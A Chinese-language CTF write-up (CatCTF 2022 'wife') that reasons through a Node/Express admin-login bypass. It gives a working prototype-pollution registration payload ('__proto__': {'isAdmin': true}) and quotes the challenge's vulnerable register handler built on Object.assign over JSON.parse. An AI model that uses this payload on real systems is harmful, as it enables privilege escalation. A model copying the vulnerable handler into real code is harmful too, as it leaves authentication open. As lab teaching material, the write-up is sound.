wife_CatCTF22

黑盒原型链污染,原型链污染绕过身份验证

分析与尝试 DONE

  1. 注意到服务端使用node express框架,可以故意报错搞点信息,比如多谢一个段等

  2. 先看看node这边的漏洞试试,现在就是要登录为admin用户,猜测flag在admin中,有两个思路

    1. 获取admin的账号与密码
    2. node相关的可能是原型链污染?服务端
      1. admin直接登录,服务端一般会保存一个存有用户信息的对象,这里如果对于普通用户没有设置admin就可能通过原型链进行覆盖(直接clone的话),如果有设置admin=false那就不行 -> 比2有可能,都试试,先这个,但是这里试试去掉isAdmin=false是可以的,可以从第二种情况去到第一种情况
      2. 注册一个admin用户,这个code涉及到邀请码(不是验证码)的设计,考虑一般和数据库相关,原型链覆盖也无从下手 -> 如果是对象的话在Object处进行覆盖是无法通过原型链访问到的,因为自己就有可能性不大
  3. 确定先通过admin直接登录探测,下一步就是要找到键了,发现在注册中有一个isAdmin会不会在邀请码对的时候进行clone?试试,想要直接登录的话还是要先注册,普通注册+原型链污染

  4. 最终payload

    1
    2
    3
    4
    5
    6
    7
    8
    POST /register HTTP/1.1
    // ...

    {
    "username":"h4ck3r",
    "password":"aaa",
    "__proto__": {"isAdmin":true }
    }

题解白盒一下

  1. 注意点就是Object.assign()在JSON.parse()下存在原型链污染
  2. 可以多多fuzz
  3. 官方题解的源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
app.post('/register', (req, res) => {
let user = JSON.parse(req.body)
if (!user.username || !user.password) {
return res.json({ msg: 'empty username or password', err: true })
}
if (users.filter(u => u.username == user.username).length) {
return res.json({ msg: 'username already exists', err: true })
}
if (user.isAdmin && user.inviteCode != INVITE_CODE) {
user.isAdmin = false
return res.json({ msg: 'invalid invite code', err: true })
}
let newUser = Object.assign({}, baseUser, user)
users.push(newUser)
res.json({ msg: 'user created successfully', err: false })
})